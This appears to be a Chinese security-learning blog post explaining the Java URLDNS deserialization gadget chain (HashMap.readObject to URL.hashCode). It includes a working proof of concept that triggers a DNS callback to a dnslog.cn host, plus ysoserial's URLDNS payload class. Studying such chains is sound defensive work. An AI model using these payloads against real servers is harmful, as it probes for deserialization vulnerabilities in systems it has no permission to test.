• URLDNS利用链


    利用链分析在我的Github主页
    Java反序列化学习

    下面写下POC思路

    利用点HashMap的readObject

        private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
            // Read in the threshold (ignored), loadfactor, and any hidden stuff
            s.defaultReadObject();
            reinitialize();
            if (loadFactor <= 0 || Float.isNaN(loadFactor))
                throw new InvalidObjectException("Illegal load factor: " +
                                                 loadFactor);
            s.readInt();                // Read and ignore number of buckets
            int mappings = s.readInt(); // Read number of mappings (size)
            if (mappings < 0)
                throw new InvalidObjectException("Illegal mappings count: " +
                                                 mappings);
            else if (mappings > 0) { // (if zero, use defaults)
                // Size the table using given load factor only if within
                // range of 0.25...4.0
                float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
                float fc = (float)mappings / lf + 1.0f;
                int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                           DEFAULT_INITIAL_CAPACITY :
                           (fc >= MAXIMUM_CAPACITY) ?
                           MAXIMUM_CAPACITY :
                           tableSizeFor((int)fc));
                float ft = (float)cap * lf;
                threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                             (int)ft : Integer.MAX_VALUE);
    
                // Check Map.Entry[].class since it's the nearest public type to
                // what we're actually creating.
                SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
                @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
                table = tab;
    
                // Read the keys and values, and put the mappings in the HashMap
                for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
                }
            }
        }
    

    看下对应的writeObject

    private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }
    

    internalWriteEntries(s);函数

    tab.key对应的是我们的URL

        void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
            Node<K,V>[] tab;
            if (size > 0 && (tab = table) != null) {
                for (int i = 0; i < tab.length; ++i) {
                    for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                        s.writeObject(e.key);
                        s.writeObject(e.value);
                    }
                }
            }
        }
    

    我们要修改tab中的K,从而达到写入URL的目的,下面看如何写入tab。

    用到的是put方法

    image-20240621092333174

        public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
        }
    

    这里注意一下在put函数中调用了利用链中的putVal函数,后面也会触发DNS请求。为了不将这次请求与目标请求弄混,这里有两种方法。

    1. 给URL变量赋值

    在URL hashCode函数中会做个判断,我们将hashCode设置为一个不等于-1的值,就可以不在POC截断触发RCE触发点。

    但是要记得在反序列化之前需要将hashCode改回-1

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
    
        hashCode = handler.hashCode(this);
        return hashCode;
    }
    
    1. ysoserial的方法

    覆盖了URLStreamHandler中的openConnection和getHostAddress方法,其中getHosAddress是本利用链RCE触发点。

            static class SilentURLStreamHandler extends URLStreamHandler {
    
                    protected URLConnection openConnection(URL u) throws IOException {
                            return null;
                    }
    
                    protected synchronized InetAddress getHostAddress(URL u) {
                            return null;
                    }
            }
    

    最后给出自己写的POC

    package ysoserial.poc;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.util.HashMap;
    
    public class urldns {
        public static void main(String[] args) throws Exception {
            HashMap hashmap = new HashMap();
            URL url = new URL("http://ybnlxi.dnslog.cn");//url
            Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
            field.setAccessible(true);//hashCode为私有对象
            field.set(url,666);//将url对象的hashCode值设置为666!=-1
            hashmap.put(url, 1);
            field.set(url, -1);//反序列化时hashCode值为-1
            try {
                FileOutputStream fileOutputStream = new FileOutputStream("./s.ser");
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
                objectOutputStream.writeObject(hashmap);
                objectOutputStream.close();
                fileOutputStream.close();
    
                FileInputStream fileInputStream = new FileInputStream("./s.ser");
                ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
                objectInputStream.readObject();
                fileInputStream.close();
                objectInputStream.close();
            }
            catch (Exception e) {
                e.printStackTrace();;
            }
        }
    }
    
    

    测试

    image-20240621105557092

    ysoserial的POC

    package ysoserial.payloads;
    
    import java.io.IOException;
    import java.net.InetAddress;
    import java.net.URLConnection;
    import java.net.URLStreamHandler;
    import java.util.HashMap;
    import java.net.URL;
    
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    
    
    /**
     * A blog post with more details about this gadget chain is at the url below:
     *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
     *
     *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
     *   posting describing how he modified the Java Commons Collections gadget
     *   in ysoserial to open a URL. This takes the same idea, but eliminates
     *   the dependency on Commons Collections and does a DNS lookup with just
     *   standard JDK classes.
     *
     *   The Java URL class has an interesting property on its equals and
     *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
     *   during a comparison (either equals or hashCode).
     *
     *   As part of deserialization, HashMap calls hashCode on each key that it
     *   deserializes, so using a Java URL object as a serialized key allows
     *   it to trigger a DNS lookup.
     *
     *   Gadget Chain:
     *     HashMap.readObject()
     *       HashMap.putVal()
     *         HashMap.hash()
     *           URL.hashCode()
     *
     *
     */
    @SuppressWarnings({ "rawtypes", "unchecked" })
    @PayloadTest(skip = "true")
    @Dependencies()
    @Authors({ Authors.GEBL })
    public class URLDNS implements ObjectPayload<Object> {
    
            public Object getObject(final String url) throws Exception {
    
                    //Avoid DNS resolution during payload creation
                    //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
                    URLStreamHandler handler = new SilentURLStreamHandler();
    
                    HashMap ht = new HashMap(); // HashMap that will contain the URL
                    URL u = new URL(null, url, handler); // URL to use as the Key
                    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    
                    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    
                    return ht;
            }
    
            public static void main(final String[] args) throws Exception {
                    PayloadRunner.run(URLDNS.class, args);
            }
    
            /**
             * 

    This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.

    * * Potential false negative: *

    If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.

    */
    static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }
  • 相关阅读:
    多目标优化算法:多目标哈里斯鹰优化算法(Multi-Objective Harris Hawks Optimizer,MOHHO)
    CleanMyMac X2022软件包最新mac电脑系统清洁器
    关于随机森林randomforest对结果进行分类的原则的个人理解
    SQL窗口分析函数使用详解系列三之偏移量类窗口函数
    循环定时请求接口工具类,添加到对应组件中接口处
    数据链路层、网络层以及IP协议
    C语言力扣第54题之螺旋矩阵。模拟旋转
    基于python-django协同过滤豆瓣电影推荐系统
    SpringBoot项目搭建
    【机器学习大杀器】Stacking堆叠模型
  • 原文地址:https://blog.csdn.net/weixin_45436292/article/details/139857086